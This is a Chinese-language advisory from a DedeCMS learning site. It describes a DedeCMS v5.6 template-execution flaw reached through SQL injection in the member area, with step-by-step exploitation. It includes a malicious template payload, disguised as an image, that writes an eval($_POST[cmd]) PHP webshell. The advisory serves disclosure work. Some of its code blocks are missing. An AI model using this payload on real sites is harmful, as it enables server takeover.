• [织梦吧]唯一域名:www.dedecms8.com,织梦DedeCMS学习平台.

当前位置: > DedeCMS教程 > DedeCMS安装使用 >

DedeCms/织梦cms模板执行漏洞(影响版本v5.6)

来源: www.dedecms8.com 编辑:织梦吧 时间:2012-01-16点击:

影响版本: 
DEDECMS v5.6 Final 

程序介绍: 
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。 

漏洞分析: 

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。 

1、member/article_edit.php文件(注入): 
//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。 

PHP Code复制内容到剪贴板

2、include/inc_archives_view.php: 
//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。 

PHP Code复制内容到剪贴板

漏洞利用: 

1.上传一个模板文件: 

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是: 
uploads/userup/2/12OMX04-15A.jpg 

模板内容是(如果限制图片格式,加gif89a): 
{dede:name runphp='yes'} 
$fp = @fopen("1.php", 'a'); 
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n"); 
@fclose($fp); 
{/dede:name} 

2.修改刚刚发表的文章,查看源文件,构造一个表单: 

XML/HTML Code复制内容到剪贴板

提交,提示修改成功,则我们已经成功修改模板路径。 

3.访问修改的文章: 

假设刚刚修改的文章的aid为2,则我们只需要访问: 
?aid=2 
即可以在plus目录下生成小马:1.php 

解决方案: 
厂商补丁: 
DEDECMS 
------------ 
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 

信息来源: oldjun's Blog

About D8

  • ©2014 织梦吧(d8) DedeCMS学习交流平台
  • 唯一网址 www.DedeCMS8.com 网站地图
  • 联系我们 1978130638@qq.com ,  QQ